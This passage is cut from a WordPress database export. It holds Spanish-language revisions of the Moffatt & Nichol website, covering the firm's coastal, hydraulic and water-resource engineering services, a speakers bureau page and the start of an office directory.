costeras más importantes y dinámicas de Norteamérica. Esta experiencia incluye:\r\n<ul>\r\n<li>Análisis de estabilidad (bocas de entrada individuales y múltiples)</li>\r\n<li>Abertura de la isla de barrera y nuevo desarrollo de bocas de entrada</li>\r\n<li>Evolución del bajío de marea baja y de inundación</li>\r\n<li>Presupuestos de sedimentos</li>\r\n<li>Modelación detallada de olas, hidrodinámica, transporte de sedimentos y morfológico</li>\r\n<li>Estimaciones de asomeramiento de canales</li>\r\n<li>Estructuras de estabilización</li>\r\n<li>Sistemas de derivación mecánicos</li>\r\n<li>Análisis de navegación</li>\r\n<li>Optimización de canales de bocas de entrada (disposición y dimensiones)</li>\r\n<li>Evaluación de impactos de bocas de entrada en la hidrodinámica de la bahía y la calidad del agua</li>\r\n</ul>\r\n&nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/dragged-material.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">gestión de material dragado y su reutilización beneficiosa</h1>\r\nHistóricamente, el material dragado era considerado como “escombros” para desechar mientras que el material dragado más recientemente ha sido reconocido como un recurso valioso para la creación de humedales, recuperación de playas y otros proyectos similares. Con nuestra especialización en ingeniería costera, Moffatt & Nichol ha trabajado continuamente desde su fundación en planes y proyectos de gestión de materiales dragados, incluyendo muchos relacionados con la reutilización beneficiosa de dicho material. Particularmente, Moffatt & Nichol tiene un extenso y exitoso historial de experiencia con proyectos de dragado para el Cuerpo de Ingenieros del Ejército de EE.UU., varias autoridades portuarias y gobiernos internacionales. Los proyectos típicos incluyen el dragado y la colocación de materiales en altiplanicies, riberas, áreas cercanas a la costa y costa afuera, realizados por diferentes razones, que incluyen la profundización de atracaderos, cuencas y canales de navegación, el dragado de emergencia o mantenimiento, la creación o restauración de hábitats/tierras/puertos, otras aplicaciones beneficiosas y la reactivación de antiguos lugares de colocación.\r\n\r\nMuchos de nuestros proyectos de dragado han implicado la modelación numérica de alta gama hidrodinámica y de destino del sedimento (uni-, bi- y tridimensional) e incluyeron la gestión de autorizaciones, estrategias de gestión de largo plazo, planes de gestión de materiales dragados o la documentación de la construcción. También tenemos la capacidad de proporcionar estimaciones de la cantidad “basadas en el riesgo” y opiniones de costos probables en casos en los que el diseño del proyecto utiliza un criterio de riesgo aceptable para el diseño. Hemos completado el dragado para proyectos que varían desde cantidades tan pequeñas como 5.000 yardas cúbicas, hasta la creación de áreas sin edificar adyacentes a puertos que implicaban 26 millones de yardas cúbicas (el proyecto más grande de creación de terreno en los Estados Unidos.)\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-transportion.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">vulnerabilidad del sistema de transporte costero </h1>\r\nA medida que la densidad demográfica continúa aumentando cerca de nuestras costas y se construye infraestructura para apoyar ese aumento, la vulnerabilidad de dicha población e infraestructura al daño de tormentas costeras, así como a un daño más gradual debido a cambios de largo plazo, se ha convertido en un foco de atención mientras los gobiernos intentan presupuestar los gastos iniciales y de mantenimiento. Como la historia demuestra, estos aumentos en la población y la infraestructura han llevado a aumentos correspondientes en los presupuestos, lo que puede ser agravado por su asignación a áreas más vulnerables. Para colaborar con el manejo de estos gastos, Moffatt & Nichol proporciona una gama completa de servicios de planeamiento e ingeniería costeros decisivos para determinar correctamente la vulnerabilidad y para formular los criterios de diseño apropiados que afectan al desarrollo. Por ejemplo, la determinación de la vulnerabilidad de posibles instalaciones de transporte costeras puede afectar la selección de rutas o ubicaciones más rentables. \r\n \r\nLas especialidades de Moffatt & Nichol relacionadas con la determinación de la vulnerabilidad incluyen la modelación hidrodinámica, el análisis retrospectivo del oleaje y el análisis estadístico para determinar los criterios de diseño para la elevación de la marejada ciclónica, la elevación de la altura de la ola y la dirección y magnitudes de la corriente. Estas determinaciones proporcionan la base para los análisis morfológicos costeros, los análisis de socavación, los análisis de colisión de buques y la gestión de aguas pluviales que afectan la localización y el diseño de caminos y puentes costeros.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/hydraulic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">estructuras hidráulicas</h1>\r\nA través de la historia, el hombre ha tratado de controlar, o al menos influir, en las corrientes y los ríos para evitar inundaciones o para mejorar el suministro y la calidad del agua, la navegación, la agricultura y el suministro de energía. Moffatt & Nichol es experto en el planeamiento y diseño de estructuras hidráulicas utilizadas para modificar corrientes y ríos, al mismo tiempo que protege la vida, la propiedad y el medioambiente. Esta experiencia incluye diques fluviales, vertederos, muros de protección contra inundaciones, presas, estructuras hidráulicas de control de flujo, esclusas, compuertas de marea, desvíos de flujo, sifones invertidos, reservorios, lagunas de retención, salidas, desembocaduras, alcantarillas y una variedad de canales naturales y artificiales.</a>\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-structures.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">estructuras costeras </h1>\r\nEn cuanto a otros aspectos en el área de especialización de la ingeniería costera, Moffatt & Nichol ha participado por mucho tiempo en el planeamiento y diseño de estructuras costeras: rompeolas, malecones, diques marítimos, espigones, escolleras, muros de retención, etc., para proteger/estabilizar/controlar secciones de líneas costeras, bocas de entrada, puertos y definir las interfaces tierra/agua. Hemos planeado, analizado y diseñado estructuras costeras en todos los ambientes de frentes costeros:\r\n<ul>\r\n<li>desde líneas costeras abiertas con aguas profundas y exposición a tsunamis hasta bahías protegidas con aguas poco profundas y consideraciones acerca de seiches y la sobreelevación del nivel del mar por oleaje. </li>\r\n<li>desde el Ártico, donde el hielo puede determinar los parámetros de diseño, hasta el Ecuador, donde la corrosión puede, y </li>\r\n<li>desde suelos débiles que proporcionan poco apoyo al lecho de roca expuesto</li>\r\n</ul>\r\nEsta amplitud de experiencia y conocimientos sobre estructuras costeras ha sido reconocida al habernos elegido para completar los manuales de diseño de estructuras de frentes costeros para la Marina de EE.UU. y el Cuerpo de Ingenieros del Ejército de EE.UU.\r\n\r\nYa sea que se diseñen directamente o que se proporcione información a otras disciplinas para su diseño, el diseño de estructuras costeras se apoya en los resultados de varios análisis costeros en los que somos expertos, es decir, análisis estadísticos (viento, olas, corrientes, marejadas ciclónicas), modelación numérica y física incluyendo cambios morfológicos costeros, o la determinación de carga hidrodinámica. Por ejemplo, nuestros ingenieros costeros determinan regularmente las cargas hidrodinámicas para que nuestros ingenieros estructurales de frentes costeros las utilicen como una de las cargas dinámicas que serán consideradas durante el diseño de la estructura. Estamos muy familiarizados con los problemas, muchos de ellos únicos, pertinentes al diseño y la construcción de estructuras de zonas costeras, incluyendo el análisis de riesgo, la selección de materiales, la factibilidad de construcción del sistema estructural y las implicaciones de costos de cada uno. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/modeling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">navegación/amarre/atraque de buques</h1>\r\nA medida que las demandas comerciales y recreacionales aumentan, el tamaño y la cantidad de buques que utilizan puertos y vías navegables en el mundo aumentan, lo que puede llevar a diversos problemas y conflictos de navegación. Desde nuestra fundación en 1945 por parte de ingenieros especializados en puertos, Moffatt & Nichol ha participado en proyectos de planeamiento y diseño de navegación formulados para aliviar dichos problemas y conflictos de navegación. Por consiguiente, hemos realizado estudios de navegación en todo el mundo para una larga lista de clientes, usualmente organismos gubernamentales, pero también para compañías privadas (como empresas de energía, de defensa, fabricantes o expedidores). Además de los estudios de navegación, periódicamente realizamos estudios de amarre y atraque de buques. Estos estudios utilizan modelos numéricos avanzados que examinan las maniobras y el movimiento de buques tanto durante su tránsito como mientras está atracado.\r\n  \r\n<strong>Navegación de buques.</strong> Los estudios de navegación de buques generalmente evalúan las características existentes y propuestas de la vía navegable para las condiciones sin proyecto y con proyecto mediante el análisis de parámetros tales como la utilización/operación del buque, las prácticas de navegación y la gestión de la vía navegable. Moffatt & Nichol tiene gran experiencia en proporcionar tales estudios, incluyendo aspectos tales como los análisis/impactos económicos, análisis/impactos del transporte, características de funcionamiento e hidrodinámica del movimiento del buque y la evaluación cualitativa y cuantitativa de los riesgos, lo que implica el análisis estadístico para las alternativas consideradas. Esta experiencia incluye simulaciones de puente en escritorio y en misión completa de las maniobras del buque en vías navegables, puertos y carriles de navegación para una gama completa de condiciones potenciales de viento, olas y corrientes.\r\n\r\n<strong>Amarre/Atraque.</strong> Moffatt & Nichol utiliza una variedad de modelos de computadora para análisis estáticos y dinámicos de los buques amarrados a estructuras de frentes costeros y amarres costa afuera (de un punto y de múltiples puntos). Los modelos se utilizan para evaluar las operaciones de buques/carga de contenedores, movimientos del buque, cargas de amarre, requisitos de defensas y condiciones medioambientales limitantes (por ejemplo, el tiempo de inactividad asociado con las inclemencias del tiempo, los criterios de evacuación para tormentas severas, la necesidad de ayuda de un remolcador o la necesidad de protección del atraque).\r\n\r\nUsando los resultados de dichos estudios, Moffatt & Nichol ha seguido desarrollando las alternativas seleccionadas mediante el proceso de diseño y construcción. Los proyectos típicos han incluido canales de navegación/cuencas de retorno, dragado, ayudas de navegación, instalaciones de amarres, operaciones de lanchaje, control de ríos, sistemas de defensas y mejoras de la estructura del frente costero.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n    <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/water-resourses.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"12\">recursos hídricos</h1>\r\nCon los cambios de población y las demandas de infraestructura correspondientes, la gestión de la divisoria de aguas se ha convertido en un problema importante en muchos lugares donde anteriormente la población era indiferente, mientras que en otros, con una mayor conciencia de la sostenibilidad, se ha convertido en la preocupación principal que afecta al desarrollo. Para tratar estas preocupaciones, Moffatt & Nichol ha preparado estudios de recursos hídricos que han examinado en detalle y cuidadosamente las divisorias de aguas y las alternativas para manejar este activo en beneficio de la comunidad. Para estos estudios, Moffatt & Nichol ha suministrado el planeamiento, modelación, análisis, soluciones alternativas, participación ciudadana, gestión de autorizaciones, ingeniería, diseño, documentación de la construcción y servicios de licitación y construcción para que los proyectos mejoren o solucionen los problemas de gestión de agua para tareas que comprenden desde iniciativas de grandes divisorias de aguas o problemas de drenaje de subdivisiones hasta el impacto de las escorrentías sobre propietarios individuales.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/storm-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"13\">gestión de aguas pluviales</h1>\r\nLa gestión de aguas pluviales como un medio para reducir las inundaciones o el impacto sobre la calidad del agua causado por las escorrentías se ha convertido en un área de creciente interés de parte de la ciudadanía y de los organismos gubernamentales a medida que aumenta su conciencia de estos agresores del medioambiente. Con esta creciente atención, se ha desarrollado el interés en un tratamiento y una gestión más pequeños y proactivos de las aguas pluviales, cerca de la fuente de la escorrentía, en comparación con el tratamiento de la escorrentía más cerca de su destino. Moffatt & Nichol ha realizado proyectos de aguas pluviales que implicaban solicitudes de subvenciones, planeamiento/restauración de la divisoria de aguas, análisis de llanuras inundables, modelación hidrológica/hidráulica integrada, apoyo para gestión de autorizaciones, mejores prácticas de gestión de aguas pluviales, estructuras hidráulicas, sistemas de bombeo, mitigación de impactos, integración GIS/GPS, coordinación de diferentes organismos y participación ciudadana.\r\n      \r\nHemos completado estos proyectos en una amplia gama de escenarios hidrológicos y topográficos: montañas, colinas y valles costeros, pero proporcionamos excepcionales capacidades para tratar dichos proyectos en valles costeros. En regiones costeras, los problemas de gestión de aguas pluviales son especialmente complejos porque el bajo relieve en topografía y las altas capas freáticas limitan la colocación y con frecuencia afectan el rendimiento de las mejores prácticas de gestión de aguas pluviales convencionales. Como resultado de nuestro enfoque en la región costera, Moffatt & Nichol está muy familiarizado con prácticas menos convencionales, casi atípicas, que funcionan bajo estas complejas condiciones. Como parte de esta familiaridad y de nuestra utilización de modelos numéricos complejos en el ambiente costero, Moffatt & Nichol también proporciona experiencia profesional especializada en la evaluación de problemas de aguas pluviales costeras, que incluyen el uso de modelos de agua superficial/agua subterránea combinadas para analizar su flujo y captación.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/air-sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"14\">análisis de aire, sedimentos y calidad del agua</h1>\r\nPara ayudar a nuestros clientes a responder a los pedidos de los diferentes organismos reguladores que controlan la gestión de autorizaciones de proyectos de frentes costeros y zonas costeras, Moffatt & Nichol ha utilizado modelos numéricos existentes y ha desarrollado un modelo computacional basado en actividades para estimar los efectos de posibles proyectos sobre los sedimentos, el agua o la calidad del aire en la cercanía de dichos proyectos. Estos modelos también se utilizan para desarrollar y examinar alternativas de tratamiento de los sedimentos, del agua o de la calidad del aire durante la construcción del proyecto y posteriormente durante la operación.\r\n  \r\nPara la gestión de sedimentos, Moffatt & Nichol utiliza modelos numéricos muy sofisticados a fin de estudiar el incremento, la erosión y el dragado del sedimento. Modelos similares de las prácticas actuales se utilizan para analizar la calidad del agua de las masas de agua de ríos, estuarios y costas. Por ejemplo, Moffatt & Nichol ha realizado varios proyectos que requerían el retiro, la colocación y el aislamiento de sedimentos contaminados para evitar su reintroducción al medioambiente y los riesgos ecológicos potenciales asociados con dicha reintroducción. Estos proyectos generalmente usan instalaciones de contención que aíslan los sedimentos tratados químicamente en áreas de colocación en altiplanicies, cerca de la costa, costa afuera o en el subsuelo; Moffatt & Nichol ha modelado dichas instalaciones en todas las etapas de su realización.\r\n\r\nComo parte de la obtención de las autorizaciones para proyectos dentro de áreas de emisión de aire delicadas, Moffatt & Nichol ha desarrollado un modelo computacional basado en actividades que cuantifica las emisiones de aire e integra los factores de emisión de aire aceptados por la Agencia para la Protección del Medioambiente (EPA, por sus siglas en inglés) con modelos de planeamiento operativo desarrollados por Moffatt & Nichol. Este modelo se ha utilizado para modelar aspectos de la emisión en proyectos de desarrollo portuario en áreas muy urbanizadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/vesel-new.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"15\">estudios de maniobras y tráfico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de Simulación para Modelación Alternativa (SLAM, por sus siglas en inglés).  Este modelo también incluye un módulo de gráficos que proporciona una visualización animada en pantalla de los resultados.  Pueden hacerse análisis del tráfico de buques en puertos, vías navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilización de un puerto.  Moffatt & Nichol ha desarrollado un modelo avanzado de tráfico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el tráfico de naves comerciales en puerto hasta operaciones de tráfico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/watershed.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"17\">restauración de la divisoria de aguas</h1>\r\n Han ocurrido impactos negativos sobre la calidad del agua y el hábitat acuático en los ríos, corrientes, lagos, estuarios y humedales de Estados Unidos a causa de varios efectos a lo largo del tiempo. La restauración de la divisoria de aguas busca devolver algunos de estos ecosistemas a condiciones aproximadamente iguales a las que tenía previas a las alteraciones. Esto requiere la implementación integral de diversas soluciones o proyectos para los cuales Moffatt & Nichol puede proporcionar una gama completa de servicios de planeamiento, modelación numérica, diseño de ingeniería y construcción, necesarios para que dichos proyectos tengan éxito.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n\r\n','Servicios de recursos costeros, medioambientales e hídricos','','inherit','open','open','','526-revision-8','','','2013-01-14 05:51:13','2013-01-14 05:51:13','',526,'http://moffattnichol.com/spanish/526-revision-8/',0,'revision','',0),(2774,1,'2013-01-09 07:08:05','2013-01-09 07:08:05','<div class=\"content-speakers\">\r\n          <h1>oficina de oradores</h1>\r\n          <div class=\"spekers-para-new\">Los profesionales de Moffatt & Nichol son líderes en sus respectivos campos y se han distinguido -y han distinguido a la firma, con sus numerosos logros. Su experiencia profesional y su deseo de compartir sus conocimientos y su especialización, además de su probada habilidad para hablar en público, les han ganado un lugar en nuestra Oficina de oradores.&nbsp; &nbsp; Nuestra lista incluye a especialistas/expertos en las siguientes áreas:</div>\r\n          <div class=\"speakers-left\">\r\n             <div class=\"spekers-divider-line-right\">Puertos y terminales marítimas:</div>\r\n             <p class=\"black\">\r\n             Finanzas y desarrollo portuarios\r\n             Planeamiento maestro portuario y de terminales \r\n             Seguridad portuaria \r\n             Mitigación para impacto de grandes proyectos de desarrollo portuario \r\n             Planeamiento y automatización de terminales de contenedores \r\n             Desarrollo portuario internacional Diseño de pavimentos portuarios \r\n             Terminales ecológicas \r\n            </p>\r\n             &nbsp;\r\n            <div class=\"spekers-divider-line-right\">Transporte</div>\r\n                <p class=\"black\">\r\nPlaneamiento, obtención de fondos y diseño de transporte multimodal \r\nPlaneamiento, obtención de fondos y diseño de carga multimodal \r\nDiseño antisísmico \r\nDiseño y análisis de puentes \r\nTerminales de graneles Ingeniería de eventos extremos \r\nAnálisis y protección de tsunamis \r\nDefensas de puentes y estructuras de puentes Planeamiento de transporte y diseño de calzadas Tendencias en el movimiento y embarque de mercancías \r\nTerminales de transbordadores \r\n            </p>\r\n            &nbsp;\r\n             <div class=\"spekers-divider-line-right\">Energía</div>\r\n                <p class=\"black\">\r\nTerminales marítimas petroleras \r\nTerminales de carga líquida a granel \r\nTerminales de GNL Amarres de boya simple y múltiple \r\nDiseño de tuberías submarinas \r\nAnálisis de buques de paso \r\nAnálisis y diseño de amarres y atraques \r\nCimentaciones de turbinas eólicas costa afuera \r\nPuertos de acceso a parques eólicos costa afuera \r\nAlmacenamiento de energía de aire comprimido del océano Infraestructura de frentes costeros de la Marina Infraestructura de frentes costeros de la Guardia Costera de Estados Unidos (USCG, por sus siglas en inglés) \r\nTendencias en brazos de carga de GNL y graneles líquidos \r\n            </p>\r\n            \r\n          </div>\r\n          \r\n          \r\n          <div class=\"speakers-right\">\r\n          <div class=\"spekers-divider-line-left\">Recursos costeros, medioambientales e hídricos</div>\r\n            <p class=\"black\">\r\nAplicaciones beneficiosas y desecho de material dragado \r\nIngeniería de recursos hídricos \r\nIngeniería y modelación costeras \r\nGestión de aguas pluviales costeras \r\nGestión y planeamiento de la zona costera \r\nAumento del nivel del mar y Cambio climático \r\nVulnerabilidad de la infraestructura costera \r\nSedimentos contaminados \r\nGestión de la calidad del aire \r\nEstructuras de control de inundaciones \r\nRestauración del hábitat\r\n            </p>\r\n             &nbsp;\r\n <div class=\"spekers-divider-line-left\">Frentes de mar urbanos y puertos deportivos</div>\r\n            <p class=\"black\">\r\nDiseño de puertos deportivos y frentes de mar urbanos \r\nDiseño de estructuras marítimas Desarrollo de centros turísticos \r\nRecuperación de tierras\r\n            </p>\r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Inspección y rehabilitación</div>\r\n            <p class=\"black\">\r\nInspección y rehabilitación de estructuras marítimas \r\nIngeniería de vida de servicio Investigaciones del frente costero \r\nSistemas de gestión del mantenimiento y Sistemas de gestión de activos \r\nRehabilitación \r\nMuestreo y pruebas\r\n            </p> \r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Servicios consultivos comerciales globales\r\n</div>\r\n            <p class=\"black\">\r\nSelección de ubicación de inmuebles industriales Análisis y pronóstico de información comercial Tendencias en la gestión de la cadena de suministro \r\nAsociaciones público-privadas \r\nLa economía y las tendencias globales \r\nEvaluación y gestión de riesgos\r\n            </p>                               \r\n          </div>\r\n          <div class=\"clear\"></div>\r\n          <span class=\"speakers-bottam\">Escuche a nuestros oradores en las conferencias de la industria o <a title=\"Haga clic aquÃ\" href=\"mailto:info@moffattnichol.com\">Haga clic aquí </a>y comuníquese con nosotros si desea más información.</span> </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Oficina de oradores','','inherit','open','open','','80-revision-5','','','2013-01-09 07:08:05','2013-01-09 07:08:05','',80,'http://moffattnichol.com/spanish/80-revision-5/',0,'revision','',0),(2775,1,'2013-01-14 06:19:04','2013-01-14 06:19:04','<div class=\"content-speakers\">\r\n          <h1>oficina de oradores</h1>\r\n          <div class=\"spekers-para-new\">Los profesionales de Moffatt & Nichol son líderes en sus respectivos campos y se han distinguido -y han distinguido a la firma, con sus numerosos logros. Su experiencia profesional y su deseo de compartir sus conocimientos y su especialización, además de su probada habilidad para hablar en público, les han ganado un lugar en nuestra Oficina de oradores.&nbsp; &nbsp; Nuestra lista incluye a especialistas/expertos en las siguientes áreas:</div>\r\n          <div class=\"speakers-left\">\r\n             <div class=\"spekers-divider-line-right\">Puertos y terminales marítimas:</div>\r\n             <p class=\"black\">\r\n             Finanzas y desarrollo portuarios\r\n             Planeamiento maestro portuario y de terminales \r\n             Seguridad portuaria \r\n             Mitigación para impacto de grandes proyectos de desarrollo portuario \r\n             Planeamiento y automatización de terminales de contenedores \r\n             Desarrollo portuario internacional \r\n             Diseño de pavimentos portuarios \r\n             Terminales ecológicas \r\n            </p>\r\n             &nbsp;\r\n            <div class=\"spekers-divider-line-right\">Transporte</div>\r\n                <p class=\"black\">\r\nPlaneamiento, obtención de fondos y diseño de transporte multimodal \r\nPlaneamiento, obtención de fondos y diseño de carga multimodal \r\nDiseño antisísmico \r\nDiseño y análisis de puentes \r\nTerminales de graneles Ingeniería de eventos extremos \r\nAnálisis y protección de tsunamis \r\nDefensas de puentes y estructuras de puentes Planeamiento de transporte y diseño de calzadas Tendencias en el movimiento y embarque de mercancías \r\nTerminales de transbordadores \r\n            </p>\r\n            &nbsp;\r\n             <div class=\"spekers-divider-line-right\">Energía</div>\r\n                <p class=\"black\">\r\nTerminales marítimas petroleras \r\nTerminales de carga líquida a granel \r\nTerminales de GNL \r\nAmarres de boya simple y múltiple \r\nDiseño de tuberías submarinas \r\nAnálisis de buques de paso \r\nAnálisis y diseño de amarres y atraques \r\nCimentaciones de turbinas eólicas costa afuera \r\nPuertos de acceso a parques eólicos costa afuera \r\nAlmacenamiento de energía de aire comprimido del océano Infraestructura de frentes costeros de la Marina Infraestructura de frentes costeros de la Guardia Costera de Estados Unidos (USCG, por sus siglas en inglés) \r\nTendencias en brazos de carga de GNL y graneles líquidos \r\n            </p>\r\n            \r\n          </div>\r\n          \r\n          \r\n          <div class=\"speakers-right\">\r\n          <div class=\"spekers-divider-line-left\">Recursos costeros, medioambientales e hídricos</div>\r\n            <p class=\"black\">\r\nAplicaciones beneficiosas y desecho de material dragado \r\nIngeniería de recursos hídricos \r\nIngeniería y modelación costeras \r\nGestión de aguas pluviales costeras \r\nGestión y planeamiento de la zona costera \r\nAumento del nivel del mar y Cambio climático \r\nVulnerabilidad de la infraestructura costera \r\nSedimentos contaminados \r\nGestión de la calidad del aire \r\nEstructuras de control de inundaciones \r\nRestauración del hábitat\r\n            </p>\r\n             &nbsp;\r\n <div class=\"spekers-divider-line-left\">Frentes de mar urbanos y puertos deportivos</div>\r\n            <p class=\"black\">\r\nDiseño de puertos deportivos y frentes de mar urbanos \r\nDiseño de estructuras marítimas Desarrollo de centros turísticos \r\nRecuperación de tierras\r\n            </p>\r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Inspección y rehabilitación</div>\r\n            <p class=\"black\">\r\nInspección y rehabilitación de estructuras marítimas \r\nIngeniería de vida de servicio Investigaciones del frente costero \r\nSistemas de gestión del mantenimiento y Sistemas de gestión de activos \r\nRehabilitación \r\nMuestreo y pruebas\r\n            </p> \r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Servicios consultivos comerciales globales\r\n</div>\r\n            <p class=\"black\">\r\nSelección de ubicación de inmuebles industriales Análisis y pronóstico de información comercial Tendencias en la gestión de la cadena de suministro \r\nAsociaciones público-privadas \r\nLa economía y las tendencias globales \r\nEvaluación y gestión de riesgos\r\n            </p>                               \r\n          </div>\r\n          <div class=\"clear\"></div>\r\n          <span class=\"speakers-bottam\">Escuche a nuestros oradores en las conferencias de la industria o <a title=\"Haga clic aquÃ\" href=\"mailto:info@moffattnichol.com\">Haga clic aquí </a>y comuníquese con nosotros si desea más información.</span> </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Oficina de oradores','','inherit','open','open','','80-revision-6','','','2013-01-14 06:19:04','2013-01-14 06:19:04','',80,'http://moffattnichol.com/spanish/80-revision-6/',0,'revision','',0),(2776,1,'2012-11-12 06:49:33','2012-11-12 06:49:33','<div class=\"content_faq\">\r\n<div class=\"our_officesimg\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/our_offices.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\r\n<div class=\"our_officestxt\">\r\n<h1>nuestras oficinas</h1>\r\n<p class=\"our-office-para\">Con 27 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como líder en la complicada área donde la tierra entra en contacto con el agua. Si desea información de contacto, seleccione una ubicación.</p>\r\n\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"1\">ABU DABI</h2>\r\n<strong>dirección</strong>\r\n\r\nRegus Al Bateen Business Centre,\r\n\r\nSuite 132, Bainunah Street 34,\r\n\r\nP.O. Box 113100,\r\n\r\nAbu Dabi, Emiratos Árabes Unidos.\r\n\r\n<strong>teléfono</strong>\r\n\r\n+971 (0)2 406 9696\r\n\r\n<strong>fax</strong>\r\n\r\n+971 (0)2 406 9810\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 